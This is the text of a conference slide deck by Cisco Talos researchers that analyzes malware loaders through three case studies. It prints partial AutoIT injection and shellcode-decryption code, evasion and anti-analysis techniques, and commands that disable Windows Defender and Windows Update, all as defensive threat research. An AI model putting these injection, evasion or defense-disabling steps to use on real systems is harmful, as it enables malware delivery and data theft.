Analyzing Recent Evolutions in Malware Loaders
Who Are We?

Holger Unterbrink
@hunterbr72

Security Researcher at Cisco Talos
Malware Research, Threat Intelligence, Offensive Security, Tool development
Germany
Who Are We?

Edmund Brumagbin

Security Researcher at Cisco Talos

Malware Research, Threat Intelligence, IoT/Embedded Systems Security Research.

Earth
Agenda

• A crash course on malware loaders.

• Discuss common techniques malware loaders use to evade detection.

• Three case studies that demonstrate these approaches in a practical scenario.

• Ways organizations can defend against and respond to these techniques.

• Hunting for malware loaders across the threat landscape.
Why This Talk?

Bypass Security Measures
Crash Course In Malware Loaders

How does malware hide?
#include <windows.h>

int main() {
    int a = 0;
    ...  
    WriteFile(hfile, buf, x, y, z);
    return a;
}

int __cdecl main(int argc, const char **argv, const char **envp) {
    ... 
    WriteFile(v5, &v8, v4 - ((char *)&v8 + 1), (LPDWORD)&v7, 0);
    return 0;
}
Packer/Cryptor

First Generation

Original Entry Point (OEP) changed to the unpacker decoding routine

Org. executable

Header

Code Section

Data Section

Hash X

Packed executable on disk

Header

Crypted

Decryptor Code

Hash Y

Unpacked executable in memory

Header

Decrypted

Decryptor Code

New EP

Jump to OEP

Original Entry Point (OEP) changed to the unpacker decoding routine
Real Malware

Stage 2 to n: Sometimes downloaded from a malware server at runtime

Stage 1 – Decryption of 2nd stage:

```
push offset aWorlqipkhwnnmp ; "WORLQIPKHWNNTPUZSRKVWQJJDEKIXNOAUB"
push offset aSccjz ; "SCCJZ"
push offset aUdxcusk ; "UDXCUSK"
push offset aDtizdfiv ; "DTIZDFIV"
mov eax, offset loc_415DB0
call eax ; loc_415DB0 ; 90 5DB0 (8F 11D6) = 415DB0
```
**PE File**

Portable Executable (PE)

- **DOS Header**
- **DOS Stub**
- **PE File Header**
- **Optional Header**
- **Section table**
- **Sections**
  - `.text`
  - `.data`
  - `.rdata`
  - `.bss`
  - `.idata`
  - `.edata`
  - `.rsrc`
  - `.reloc`

File on disk

*e.g. sample.exe*

Resource Section (.rsrс)

1. "Cannot open the %% file.\n"
2. "Cannot find the %% file.\n"
3. "The text in the %% file has changed.\n"

Font 1, **font 2**, FONT 3, **font 4** …
Common Techniques
Binary Obfuscation

Malware Dropper

Header

Final malware

Multi-Stage 2...n
Crypted part of the dropper

Decryptor Stage 1

mov esi, 0x0
mov edx, 0x12340000
... mov edx, [ebp+var_54]
push edx
call ds:WriteFile
... jmp <func addr>

mov edx, 0x030
mov esi, 0x1
dec esi
mov edx, 0x12347891
xor dx, dx
... ... calc. eax ...
... call eax ...
push <func addr>
ret

Useless Instructions or functions

Obfuscated calls/jumps

Substituted instructions

... and hundred more.
Malware Detection - API Call Monitoring

... WriteFile (hFile, DataBuffer, ...); Win32 API call ...

1. CreateToolhelp32Snapshot
2. Process32First
3. Process32Next
4. OpenProcess
5. VirtualAllocEx
6. CreateRemoteThread

DLL Injection detected
**64bit Windows**

... WriteFile (hFile, DataBuffer, ...);
...

Win32 API call

Native API and System service dispatcher stubs

User Mode

Application e.g. hello.exe

WriteFile() Kernel32.dll Win32 API

NtWriteFile() Ntdll.dll System Call

Kernel Mode

NtWriteFile() Driver HAL Hardware

System Call Dispatcher

IA32_LSTAR MSR (Model Specific Register)

Documented – Should(!) be used by Apps

mov eax, 5 syscall

KiServiceTable:
...
[6] ...

--

Documented – Should(!) be used by Apps
X64: SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR. The MSR is initialized early at boot by the OS.

```
lkd> u ntdll!NtWriteFile
ntdll!NtWriteFile:
00000000`776e9900 4c8bd1              mov     r10,rcx
00000000`776e9903 b805000000       mov     eax,5          ; index into ntlKiServiceTable
00000000`776e9908 0f05                        syscall
00000000`776e990a c3                        ret
```

```
lkd> dd ntlKiServiceTable + (0x5*4) L1
ffff800`02aa3414 02558105                  ; encoded syscall offset and number of args on stack
```

```
lkd> u ntlKiServiceTable + (02558105 >> 4) ; top 20 bits are the offset
nt!NtWriteFile:
fffff800`02cf8c10 4c894c2420     mov     qword ptr [rsp+20h],r9
fffff800`02cf8c15 4c89442418     mov     qword ptr [rsp+18h],r8
fffff800`02cf8c1a 4889542410     mov     qword ptr [rsp+10h],rdx
```

```
lkd> lm a fffff800`02cf8c10
Browse full module list
start             end                 module name
fffff800`02a0c000 fffff800`02fe9000        nt                                        (pdb symbols) ....
```

```
lkd> lmDvmnt
Browse full module list
start             end                 module name
fffff800`02a0c000 fffff800`02fe9000        nt                                        ....
```

```
lkd> rdmsr 0xc0000082 ; = IA32_LSTAR MSR
msr[0xc0000082] = fffff800`02bdebc0
```

```
lkd> u fffff800`02bdebc0
nt!KiSystemCall64Shadow: ; same code like KiSystemCall64 = Main System Call Dispatcher in x64
fffff800`02bdebc0 0f01f8          swapgs                ; is called by ‘syscall’ instruction, Kernel System Call handler
fffff800`02bdebc3 654889242510600000 mov qword ptr gs:[6010h],rsp
fffff800`02bdebc0 65488bb242500600000 mov qword ptr gs:[6000h],r8
```

For your Reference
Bypassing Behavior-Based Detection

- Use Native API call
- Indirect API call
- CallWindowProc
- Copy and reuse API code
- Jump into API code offset
- Direct System Call
- Heavens Gate x64/x32 switch
- ... many more

Nothing suspicious found
Anti-Analysis Techniques

Checks for:
- Endpoint security software processes
- Hypervisor services running in the system
- CPU count for host
- Debugger presence
- System uptime values
- SMBIOS Strings / Version / Boot Pictures
- Windows Serial Numbers / Product ID
- Hooks/Debugger/Filter/Code Manipulation detection
- Windows Objects
- CPUID instruction Hypervisor present bit
- Hypervisor Port detection
- CPU artifacts
- Instruction execution time (RDTSC, IRQ, Context Switch,..)
- Turing tests or simple user input
- Sleeper manipulation
- Fake Domain check
- Country check ... many more

[Image]

Malware Loader

Hide known malware in a legit process – “file less malware”

Final malware  
e.g. InfoStealer  
Loader/Cryptor  
e.g. malware.exe  
PC hard drive

Process Injection

Final malware  
e.g. InfoStealer  
Legit Process  
e.g. RegAsm.exe  
PC Memory

Windows Task Manager

Applications | Processes | Set
---|---|---

Image Name
x32dbg.exe *32
winlogon.exe
vmtoolsd.exe
taskmgr.exe
taskhost.exe
explorer.exe
dwm.exe
csrss.exe

Talos
Cisco Security Research
Living off the Land and Mixing Technologies

HTA Loader
```
eval(<launch powershell>)
```

Powershell launched by jScript
```
iex(<inject PE code>)
```

Reflective PE Injection Powershell
```
Invoke-MemoryLoadLibrary (<PE Data>)
```

Windows Registry
- Lvt4WLGLMZ - JScript to execute Powershell
- kCu2DZ9W10 - Powershell for reflective injection
- 4FLJBnefns - PE data to reflectively inject via Invoke-MemoryLoadLibrary

```
shell = new ActiveXObject("WScript.Shell");
eval(shell.RegRead("HKLM\Software\Zfj-AI1Gdn\Lvt4WLGLMZ"));
shell.close();
```
Obfuscated Interpreter/Script Languages

- AutoIT
- Python
- PowerShell
- JavaScript
- VB Script
- (C#)
- (Java)
- ...
Case Study #1

Malware Loader using Heavens Gate and other obfuscation techniques

# Malware Observed Using This Loader

<table>
<thead>
<tr>
<th>Malware Family</th>
<th>Categorization</th>
</tr>
</thead>
<tbody>
<tr>
<td>Remcos</td>
<td>Remote Administration Tool (RAT)</td>
</tr>
<tr>
<td>HawkEye</td>
<td>Keylogger/Information Stealer</td>
</tr>
<tr>
<td>Lokibot</td>
<td>Information Stealer</td>
</tr>
<tr>
<td>Formbook</td>
<td>Information Stealer</td>
</tr>
<tr>
<td>Xmrig</td>
<td>Cryptocurrency Miner</td>
</tr>
<tr>
<td>DarkComet</td>
<td>Remote Administration Tool (RAT)</td>
</tr>
<tr>
<td>Many more...</td>
<td></td>
</tr>
</tbody>
</table>
Infection Overview

1. Find and resolve some basic API calls by CRC32.
2. Decode encoded code from the PE .data section.
3. Jump to this code.
4. Perform some anti-debug/anti-analysis checks.
5. Load two resources (in this case, UDXCUSCK and SCCJZ) from the loader's PE file.
6. Decode the configuration stored in the UDXCUSCK resource.
7. Copy loader to %APPDATA% folder and make it persistent via StartUp link.
8. Decode the final malware payload (e.g. HawkEye) stored in SCCJZ resource.
9. Start the legitimate RegAsm.exe process.
10. Inject and execute malware payload (HawkEye) into this process via process-hollowing.
11. Protect injected malware code.
12. Exit loader process.
Resolve API functions – Part 1

Used to find and resolve some basic API calls by CRC32.

Parse through the export table of kernel32.dll to find API function.
1. Find kernel32.dll PE image structures in memory
2. Find ExportTable
3. Iterate through API Function names in ExportTable
4. Calculate and compare the hash
5. If hashes are matching return API function address
Self Modifying Code

Decoding encoded code from .data section and execute it
API Call Obfuscation – API Function resolution Part 2

```
push 4 ; arg4 - e.g. flProtect
push 3000h ; arg3 - e.g. flAllocationType
push 17D78400h ; arg2 - e.g. dwSize
push 0 ; arg1 - e.g. lpAddress
push 4 ; Num arguments
push 7554284Ch ; API Call hash e.g. VirtualAlloc
lea eax, [ebp+var_24]
push eax
push 1
```

call Exec_Function ; VirtualAlloc
API Call Obfuscation – API Function resolution Part 2

Execute API call via `CallWindowProc` trick

```
MOV     ECX, [EBP+AllocatedBuffer1] ; VirtualAlloc FunctionPtr
ADD     ECX, 4
PUSH    ECX
CALL    [EBP+CallWinProc_addr]
MOV     [EBP+CallWinProc_Result], EAX
```

`lpPrevWndFunc`
A pointer to the window procedure function to call explicitly. This is the function which will process the message. This allows a message for a window to be processed by a window procedure which is not necessarily the one normally called by the window.

Often used in malware scripts to execute shellcode
## Missed API calls in a sandbox

<table>
<thead>
<tr>
<th>Memory allocated</th>
<th>VirtualAllocFromApp</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>5823225451</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Section loaded</th>
<th>CallWindowProcW</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>5823240893</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Memory allocated</th>
<th>VirtualAllocFromApp</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>5823302738</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Section loaded</th>
<th>CallWindowProcW</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>5823303035</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Memory allocated</th>
<th>VirtualAllocFromApp</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>582330151</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Section loaded</th>
<th>CallWindowProcW</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>582330446</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Memory allocated</th>
<th>VirtualAllocFromApp</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>5824414622</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Section loaded</th>
<th>CallWindowProcW</th>
<th>PID: 2268 Path: C:\Users\user\Desktop\F5wX5V2t9.exe</th>
<th>Base: 480000 Length: 4096 Allocation Type: unknown Protection: page execute and read and write</th>
</tr>
</thead>
<tbody>
<tr>
<td>5824429861</td>
<td></td>
<td></td>
<td>Path: unknown Access: query</td>
</tr>
</tbody>
</table>
Basics - 64bit API calls

WriteFile (hFile, DataBuffer, ...);  
Win32 API call

System service dispatcher stubs

mov eax, 5
syscall

NtWriteFile

KiServiceTable:
...[4] encoded syscall offset (offset + num args) NtWriteFile
[5] ...

Details are described in “Practical Reverse Engineering” Chapter 3 – System Calls by Bruce Dang
Obfuscate Syscalls

NtClose_SysEnter_Wrapper proc near
  push 0D09C750h ; NtClose
  call Find_SysCall_Number_byCRC32
  call sysenter_wrapper2
  retn 4
NtClose_SysEnter_Wrapper endp
Basics - WoW64 - Subsystem

Running 32bit executables on 64bit systems

Execution process:
- Load 64-bit ntdll
- Initialize Process
- Load WoW64 Subsystem
- Load 32-bit ntdll
- Execute 32-bit code
- Only switch to 64-bit for syscalls
Heavens Gate - Obfuscation

Some Function even have additional HeavensGate Protection

- Simulate Wow64 DLL code to switch to 64 bit
- 32 bit disassembler missing the code
- Some AV emulators, API monitor or sandboxes are missing the code too

Heavens Gate – Execute 64bit System Calls from 32bit apps directly
Plus Anti AV/Anti Analyzing

Distributed all over the sample

Check for AV and analysis programs
Decrypt Payload

SCCJZ resource

```assembly
    BA 04 00 00 00  mov    edx, 4
    6B C2 06       imul    eax, edx, 6
    8B 8C 05 38 FF FF mov    ecx, [ebp+eax+var_2C8_config_base] ; password
                    push    ecx
                    push    edx
                    call    sub_41B255
                    push    eax
                    ; eax = 0x3c = '<'
    50  mov    edx, 4
    6B C2 06       imul    eax, edx, 6
    8B 8C 05 38 FF FF mov    ecx, [ebp+eax+var_2C8_config_base]
    51  push    edx
                    push    edx
                    mov     edx, [ebp+var_size_res_SCCJZ] ; =0008A400
    8B 55 C8       push    edx
    52  mov     eax, [ebp+res_SCCJZ_buffer] ; main malware
    50  push    eax
    E8 7A 02 00 00       call    decrypt_resource_from_PE
    C7 45 F8 00 00 00  mov     [ebp+var_8], 0 ; eax=0008A400
    C7 45 F8 00 00 00  mov     [ebp+var_8], 0
    EB 09           jmp     short loc_417184
```
Inject payload into RegAsm.exe
Case Study #2

AZOrult Brings Friends To The Party
Set-MpPreference -DisableRealtimeMonitoring $true

cmd /c reg add
'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender' /v DisableAntiSpyware /t REG_DWORD /d 1 /f

cmd /c sc stop wuauserv
r\ncmd /c sc config wuauserv
start= disabled

Infection Chain

Zip File (attachment?) → ISO image → Executable Loader → PowerShell Loader → XMRigCC → AZORult → Remcos → DarkVNC → Clipboard Stealer
Executable loader

• Deobfuscates the Powershell loader command line in memory and launches it
• Contains functions to evade detections based on the sequence of executed Windows API calls
• Filename: file\d\d\d\d\d.exe – e.g file71421.exe
• Displays a message box with a fake error message
Powershell Loader

- Elaborate Powershell loader
- Checks for administrative privileges and loads payloads
- Some payloads downloaded, decoded and executed directly
- Some payloads indirectly using a custom loader RunPE – a .NET based loader
- Scheduled tasks and new services for persistence
XMRigCC

- Open source Monero cryptominer with C2 capabilities
- Persistent campaigns from at least mid 2019
- Uses Github to host various Powershell scripts for
- Anti anti-malware
- Updating
- Removal of competing cryptominers
- Creating scheduled tasks
Clipboard modifier

- Monitors Windows clipboard in a loop looking for regexps matching
- Bitcoin
- Ethereum
- LiteCoin
- Monero
- Doge-Coin
- Dash
- If matched the clipboard is modified with the address of an attacker owned wallet
AZORult

- Common information stealing malware/bot written in Delphi
- PHP based C2 server
- Communicates over HTTP using a fixed key XOR encryption
- Stealing credentials
- Stealing crypto wallets
- Cookies
- Execute commands
- Take screenshot of the desktop
RATs

- Depending on the user privileges, the Powershell loader installs
- Remcos
- DarkVNC
- Usual remote access tool capabilities
TakeAways

• Non-destructive malware campaigns can also cause financial damage
• Medium skilled actor looking to monetize by:
  • Mining cryptocurrencies
  • Modifying transactions of crypto currencies
  • Stealing information
  • Remotely controlling infected systems
• Business as usual for cyber-criminals
• Centralized command line and PowerShell block logging are important for detection
Case Study #3

AutoIT Loader

Initial Infection Vector

- ARJ archive with executable
- ...<Office Extension>.exe
- Many subjects refer to Arrival Notices
UPX packed, compiled and obfuscated AutoIT script
AutoIT Script

First Check - VM Detection

```autoit
Func CloseIfVMprocsFound()
    If Execute("ProcessExists("vmtoolsd.exe")") Then
        Execute("ProcessClose(@AutoItPID)")
    EndIf
    If Execute("ProcessExists("vbox.exe")") Then
        Execute("ProcessClose(@AutoItPID)")
    EndIf
EndFunc
```
AutoIT Script

Payload in String Version

```autoit
Local $payload

start_of_script()
ExitIfVMProcFound($payload & "7AD299074D709F13EADCD14B889F901B221781925CA9---snip---C5118E408672A6F633B48972B3D608CA6C74388D84D1CF29E5C0952A5EB7900DA2B80C74EAD47C53
$payload & "B2752F642C1627A2B61F99F488F915057A48FC7ADE---snip---D1164018965E0F0980AD7072F5D52DB2A875463B160319E25C1BB1085C513763D1292B4898ACB3
--- snip ---
$payload & "20AF23EA03B184667BEE3AC98C89EB500AD059D5---snip---65200D8EC34ADB2E7F2C40BD9EBA8A09D41583602998023F5D91E974836FF1C467300B1A46AD640
$payload & "3f62AB72D3A8719D8B8EC8977170704FB204510F28---snip---60E615CE2AD8234C49E066EEAC0C529A5B0EDDD8FBD380CF57B04AF4F3942C15220D7ED6ED57
$payload = DecodeDataFromPKEncryption($payload, "0x64BF63746B6F68757269716D616274647567646E6D743645661696E3746D6A", "-1")
Injector()
EndFunc

Func Injector()
  1. InjectPayloadIntoProcess("1", $payload, False, False)
EndFunc
```

Talos
Cisco Security Research
AutoIT Script

Payload in String Version

start_of_script()

Func start_of_script()
    ExitIfVMProcFound()
    $payload &= "7AD299074D795F13EADC14BC99F0B1B221781925CA99"
    $payload &= "B2752F642C16272A861F99F488F915057A48FC7AED"
    $payload &= "28AF23EAE03184667BEE3AC98C89EB500AD0589D5"
    $payload &= "3f02AB727D3A8719DBCE8977170704FB204610F28"
    $payload = DecodeDataFromPEResourceOrString($payload, "B"
    Injector()
EndFunc

Func Injector()
    InjectPayloadIntoProcess("1", $payload, False, False)
EndFunc

PE Resource Section

<table>
<thead>
<tr>
<th>type</th>
<th>name</th>
<th>file-offset</th>
<th>signature</th>
<th>non-standard</th>
<th>size</th>
<th>file-rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>icon</td>
<td>1</td>
<td>0x000C7680</td>
<td>icon</td>
<td>-</td>
<td>296</td>
<td>0.02%</td>
</tr>
<tr>
<td>icon</td>
<td>2</td>
<td>0x000C77A8</td>
<td>icon</td>
<td>-</td>
<td>296</td>
<td>0.02%</td>
</tr>
<tr>
<td>icon</td>
<td>3</td>
<td>0x000C78D0</td>
<td>icon</td>
<td>-</td>
<td>296</td>
<td>0.02%</td>
</tr>
<tr>
<td>icon</td>
<td>4</td>
<td>0x000C79F8</td>
<td>icon</td>
<td>-</td>
<td>60104</td>
<td>3.66%</td>
</tr>
<tr>
<td>font</td>
<td>CCAF</td>
<td>0x000D64C0</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>CELLULARAPIQ</td>
<td>0x000E426C</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>DPTOPOLOGYAPPV2_ON</td>
<td>0x000F2018</td>
<td>font</td>
<td>-</td>
<td>56745</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>LAUNCHWINAPPX</td>
<td>0x000FDC4</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>MUNINATTENDE</td>
<td>0x0010DB70</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>REFSLILY</td>
<td>0x0011B91C</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>RMCLIENTE</td>
<td>0x001296CB</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>SPEECHRUNTIMEV</td>
<td>0x0013747A</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>SYSTEMPROPERTIESDATAEXECUTIONPREVENTIONNM</td>
<td>0x00145220</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>UCSYCG</td>
<td>0x00152FCC</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>WINDEPLOYL</td>
<td>0x0016D078</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>font</td>
<td>WINDOWS.MEDIA.BACKGROUNDPLAYBACKK</td>
<td>0x0016EB24</td>
<td>font</td>
<td>-</td>
<td>56747</td>
<td>3.45%</td>
</tr>
<tr>
<td>rdata</td>
<td>NOIQGHP</td>
<td>0x0017CBD0</td>
<td>AutoIt</td>
<td>-</td>
<td>76230</td>
<td>4.64%</td>
</tr>
<tr>
<td>icon-group</td>
<td>99</td>
<td>0x0018F29B8</td>
<td>icon-group</td>
<td>-</td>
<td>20</td>
<td>0.00%</td>
</tr>
<tr>
<td>icon-group</td>
<td>162</td>
<td>0x0018F2AC</td>
<td>icon-group</td>
<td>-</td>
<td>20</td>
<td>0.00%</td>
</tr>
<tr>
<td>icon-group</td>
<td>164</td>
<td>0x0018F2C0</td>
<td>icon-group</td>
<td>-</td>
<td>20</td>
<td>0.00%</td>
</tr>
<tr>
<td>icon-group</td>
<td>169</td>
<td>0x0018F2D4</td>
<td>icon-group</td>
<td>-</td>
<td>20</td>
<td>0.00%</td>
</tr>
<tr>
<td>version</td>
<td>1</td>
<td>0x0018F2E8</td>
<td>version</td>
<td>-</td>
<td>220</td>
<td>0.01%</td>
</tr>
<tr>
<td>manifest</td>
<td>1</td>
<td>0x0018F3C4</td>
<td>manifest</td>
<td>-</td>
<td>1007</td>
<td>0.06%</td>
</tr>
</tbody>
</table>
AutoIT Script

Using RC4 shellcode to decrypt payload

```autoit
Func DecodeDataFromPEResourceOrString($data, $key, $rt)
    $data = GetResourcesFromPE($data, $rt)
    $data = StringReverse(BinaryToString($data))
    Local $sopocode = "0xC8100100A06A00B0536578B551031C893C84F89D7F2AE484829C88945F085C00FB4DFC0000000900001000008B8C2C0188840DE"
    $sopocode ^= "FFEFEEFF2F3B83654E083365FC00817DDC00010007D478B45FC31D2F3F775F0920435100FB6008BD4FC0FB68C0DF0EFEEFF01C8034"
    $sopocode ^= "5F4255F0000008945F48875FCBA8435F0EFFFEFF888435F0EFFFEFF45CCEB08D9DF0EFEEFF31FF89FA39"
    $sopocode ^= "558C76638B85ECEFEFF0425FF000008985ECEFEFF89D80385ECFEFF0FB6000385EFEFF25FF0000008985EFEFF89DE0"
    $sopocode ^= "3B5ECEFEFF8A689DF03BDEBF8EFEFF8507885BF60E8F6G0701C81E1FF0000008A40DF0EFEFF8B750801D30642EB985F5E58C9C21000"

    Local $virtualmemory = DllCall("kernel32", "ptr", "VirtualAlloc", "dword", "0", "dword", BinaryLen($sopocode) + BinaryLen($data), "dword")
    Local $codebuffer = DllStructCreate(byte[BinaryLen($sopocode)])
    Local $shellplace = DllStructCreate(byte shellcode[BinaryLen($sopocode)], $virtualmemory)
    DllSetStructData($codebuffer, 1, $sopocode)
    Local $buffer = DllStructCreate(byte[BinaryLen($data)])
    DllSetStructData($shellplace, 1, $sopocode)
    DllSetStructData($buffer, 1, $data)
    ; created function decodes shellcode in buffer
    DllCallAddress("dword", $virtualmemory, "ptr", DllStructGetPtr($buffer), "int", BinaryLen($data), "str", BinaryToString($key), "int", 0)
    Return DllStructGetData($buffer, 1)
EndFunc
```
AutoIT Script

Select legit process for payload injection

```
If $a6 = "1" Then
    $a6 = Execute("@HomeDrive & "\\Windows\\Microsoft.NET\\\Framework\\v2.0.50727\\RegAsm.exe"")
ElseIf $a6 = "2" Then
    $a6 = Execute("@HomeDrive & "\\Windows\\Microsoft.NET\\\Framework\\v4.0.30319\\MSBuild.exe"")
ElseIf $a6 = "3" Then
    $a6 = Execute("@HomeDrive & "\\Windows\\Microsoft.NET\\\Framework\\v2.0.50727\\RegSvcs.exe"")
ElseIf $a6 = "4" Then
    $a6 = Execute("@HomeDrive & "\\Windows\\Microsoft.NET\\\Framework\\v4.0.30319\\RegSvcs.exe"")
ElseIf $a6 = "5" Then
    $a6 = Execute("@ScriptFullPath")
ElseIf $a6 = "6" Then
    $a6 = Execute("@SystemDir & "\explorer.exe"")
ElseIf $a6 = 7 Then
    $a6 = Execute("@SystemDir & "\svchost.exe"")
ElseIf $a6 = "8" Then
    $a6 = Execute("@SystemDir & "\dllhost.exe"")
ElseIf $a6 = "9" Then
    $a6 = Execute("@SystemDir & "\cmd.exe"")
EndIf
```
AutoIT Script

Built injection shellcode and inject payload into legit process

Global $wpilgm = $fnhtxg & "46342904198B4DF08B47340FB74C4A0881E1FF0F00000030A6"
Global $nhdara = $wpilgm & "75F8FF75D8FFF55CC85C00F84E4FEFFFF33C0897DF46638466"
Dim $jpkcvid = $nhdara & "E8034F850FF75D8FFF55CC85C074128B4DF483C7280F87460606"
Local $a5_local_shellcode = $jpkcvid & "FFFF50FF75DCFF559085C00F841BFEFFFFF"

Local $a1_local_shellcode_len = Execute("BinaryLen($a5_local_shellcode)"")
Local $a2_local_shellcode = DllCall("kernel32", "ptr", "VirtualAlloc", "dword", "0", "dword", $a1_local_shellcode_len, "dword", "0x3000")
Local $a3_local_shellcode = DllStructCreate(byte [StringLen($a1_local_shellcode_len)], $a2_local_shellcode)
Local $a4_payload_code = DllStructCreate(byte [StringLen($a4_payload_code)])
DllStructSetData($a3_local_shellcode, 1, $a5_local_shellcode)
DllStructSetData($a4_payload_code, 1, $a4_payload_code)

Local $a8 = DllCallAddress("dword", $a2_local_shellcode + "0xBE", "wstr", $a6, "wstr", "", "ptr", DllStructGetPtr($a4_payload_code))
Local $a7 = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", "0x0010FFFF", "bool", "0", "dword", $a8[0])[0]

If $protect Then
    acl($a7)
EndIf
If $persist Then
    CallInjector100timesIfPidNotExists($a8[0])
EndIf
EndFunc
Hunting for Loaders
What Can Defenders Do?
Forcing the Bad Guys to Innovate

Spreading security news, updates, and other information to the public.

Talos publicly shares security information through numerous channels to help make the internet safer for everyone.

- ThreatSource Newsletter: cs.co/TalosUpdate
- Social Media Posts:
  - Facebook: TalosGroupatCisco
  - Twitter: @talossecurity
- White papers, articles, & other information: talosintelligence.com
- Talos Blog: blog.talosintelligence.com
- Instructional Videos: cs.co/talostube
- Beers with Talos Podcast: talosintelligence.com/podcasts
Dynamic Data Resolver

Version 1.0

• DynamoRio Instrumentation IDA Plugin
• Get Register and Memory values at runtime
• Select buffers from IDA and dump them
• Bypass Anti-Analyzing techniques
• Patch the sample at runtime
• Create x64dbg Scripts from IDA on the fly
• Many more, check out the video below...

https://youtu.be/miSFddzvzL8

Coming soon !
@hunterbr72